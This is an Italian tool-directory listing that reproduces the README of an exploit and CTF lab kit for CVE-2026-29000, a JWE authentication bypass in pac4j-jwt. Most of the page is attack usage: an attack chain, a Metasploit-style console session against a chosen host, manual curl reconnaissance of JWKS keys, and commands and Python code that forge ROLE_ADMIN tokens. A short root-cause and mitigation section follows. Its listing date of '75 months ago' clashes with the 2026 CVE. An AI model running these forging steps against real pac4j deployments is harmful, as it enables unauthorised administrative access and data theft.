Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-29000 — # Kit di laboratorio CTF ed exploit per CVE-2026-29000, un bypass dell'autenticazione JWE in pac4j-jwt. Include un target Flask vulnerabile, una libreria per la falsificazione dei token, una console interattiva per gli exploit e un PoC in Java. | Kitploit
Strumenti/GitHubGitHub/clayofgilgamesh/cve-2026-29000
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingAutenticazioneApprendimento e FormazioneLab e Pratica
GitHub
clayofgilgamesh/cve-2026-29000

CVE-2026-29000

# Kit di laboratorio CTF ed exploit per CVE-2026-29000, un bypass dell'autenticazione JWE in pac4j-jwt. Include un target Flask vulnerabile, una libreria per la falsificazione dei token, una console interattiva per gli exploit e un PoC in Java.

Vedi Repository
75 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-29000 — Bypass di autenticazione JWE in pac4j-jwt

Lab CTF per lo studio della vulnerabilità di autenticazione JWE nella libreria pac4j-jwt CVSS 9.3 (Critical) · CWE-287 · Impatto: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3


Panoramica

pac4j-jwt nelle versioni vulnerabili consente di bypassare completamente il meccanismo di autenticazione JWT creando un PlainJWT (alg=none, senza firma) e avvolgendolo all'interno di un JWE (JSON Web Encryption). Dopo la decrittazione del livello JWE, la libreria non verifica l'algoritmo del JWT interno — i claims vengono considerati attendibili al 100%, inclusi i ruoli.

Catena di attacco:

root@kitploit:~
X-Powered-By: pac4j/6.0.3          ← version leak → identifica il framework
       ↓
OIDC Discovery → JWKS → chiave pubblica RSA   ← informazioni pubbliche
       ↓
Forge JWE (PlainJWT alg=none, ROLE_ADMIN)
       ↓
Auth bypass → GET /admin?token=<JWE>     ← accesso al pannello admin
       ↓
Lettura dati sensibili: elenco dipendenti, configurazione di sistema, flag

Struttura del progetto

root@kitploit:~
CVE-2026-29000/
├── lab/                        # Target – app Flask (NexusBank Employee Portal)
│   ├── app.py                  # Applicazione principale vulnerabile
│   ├── Dockerfile              # Flag incorporato in /flag.txt al build
│   └── requirements.txt
│
├── token_forge/                # Libreria Python per creare token JWE falsificati
│   ├── forge.py                # forge_token()
│   ├── jwe_builder.py
│   ├── keys.py
│   ├── claims.py
│   └── cli.py                  # CLI: python -m token_forge
│
├── scripts/
│   └── exploit.py              # Console di exploit interattiva (stile Metasploit)
│
├── poc/                        # PoC Java – conferma del bypass in-process
│   ├── src/main/java/Poc.java
│   └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt

Requisiti

StrumentoVersioneNote
Docker Desktop24+Per eseguire il lab target
Docker Composev2+Integrato in Docker Desktop
Python3.11+Per eseguire exploit.py e token_forge
Java + Maven11+Necessario solo per il PoC Java

Installazione

1. Clonare il repository

root@kitploit:~
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000

2. Installare le dipendenze Python

root@kitploit:~
# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt

3. Avviare il lab

root@kitploit:~
docker compose up -d lab

Verificare che il lab sia in esecuzione:

root@kitploit:~
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3

Personalizzazione del flag:

root@kitploit:~
docker compose build --build-arg FLAG="CTF{custom_flag}" lab
docker compose up -d lab

4. Arrestare il lab

root@kitploit:~
docker compose down

Exploit — Console interattiva

exploit.py è una console interattiva in stile Metasploit. L'utente esegue autonomamente la ricognizione per raccogliere informazioni, quindi configura e sfrutta la vulnerabilità.

root@kitploit:~
python scripts/exploit.py

# Oppure pre-impostato da riga di comando:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080

Esempio di sessione completa:

root@kitploit:~
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31

jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)

jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json

jwe-bypass > run

[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned   roles: ['ROLE_ADMIN']

  Auth bypass successful!

  Open in your browser:

  http://192.168.1.31:8080/admin?token=eyJ...

Aprire l'URL sopra nel browser per accedere alla dashboard admin.

PUBKEY supporta 3 formati:

root@kitploit:~
# 1. URL JWKS — fetch automatico (consigliato)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json

# 2. File scaricato localmente
set PUBKEY /tmp/key.json

# 3. Incolla direttamente il JSON raw
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}

Exploit manuale (senza exploit.py)

Passo 1 — Ricognizione

root@kitploit:~
# Rilevamento del framework tramite header di risposta
curl -sI http://TARGET:8080

# Ricerca di endpoint nascosti
curl -s http://TARGET:8080/robots.txt

Passo 2 — OIDC Discovery → JWKS

root@kitploit:~
# RFC 8414: pac4j espone sempre questo endpoint
curl -s http://TARGET:8080/.well-known/openid-configuration

# Ottieni la chiave pubblica RSA da jwks_uri
curl -s http://TARGET:8080/.well-known/jwks.json

Passo 3 — Forge del token JWE

root@kitploit:~
python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --subject attacker \
  --roles ROLE_ADMIN

Passo 4 — Accesso al pannello admin

root@kitploit:~
TOKEN=$(python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --roles ROLE_ADMIN 2>/dev/null)

# Conferma del bypass
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile

# Apri la dashboard admin nel browser
echo "http://TARGET:8080/admin?token=$TOKEN"

Uso di token_forge come libreria Python

root@kitploit:~
from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)

PoC Java (in-process)

Conferma del bypass direttamente nella JVM con Nimbus JOSE + pac4j 6.0.3:

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# Solo stampa del token
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"

Esecuzione dei test

root@kitploit:~
pytest tests/ -v

# Con report di coverage
pytest tests/ -v --cov=token_forge --cov-report=term-missing

Causa della vulnerabilità

PosizioneProblema
JwtAuthenticator.validateToken()Dopo la decrittazione del JWE, chiama PlainJWT.parse() invece di SignedJWT.parse()
_payload_to_claims() nel labbase64decode + json.loads diretti, senza verifica della firma

Flusso di elaborazione errato:

root@kitploit:~
JWE decrypt → ottieni payload → base64decode → json.loads → fidati dei claims
                                         ↑ manca la verifica della firma del JWT interno

Mitigazione

MisuraDettagli
Aggiornare pac4j-jwtA >= 6.3.3 / 5.7.9 / 4.5.9
Rifiutare PlainJWTVerificare alg != "none" dopo la decrittazione del JWE
Rimuovere l'header di versioneDisattivare X-Powered-By in produzione
Privilegio minimoNon eseguire il container con privilegi di root

Riferimenti

  • pac4j Security Advisory
  • RFC 7516 — JSON Web Encryption
  • RFC 7519 — JSON Web Token
  • RFC 8414 — OIDC Discovery
  • CWE-287 — Improper Authentication
  • https://github.com/kernelzeroday/CVE-2026-29000

Avviso: Questo repository è destinato esclusivamente a scopi di ricerca sulla sicurezza e CTF in ambienti controllati. Non utilizzarlo su sistemi non autorizzati.

Scarica lo strumento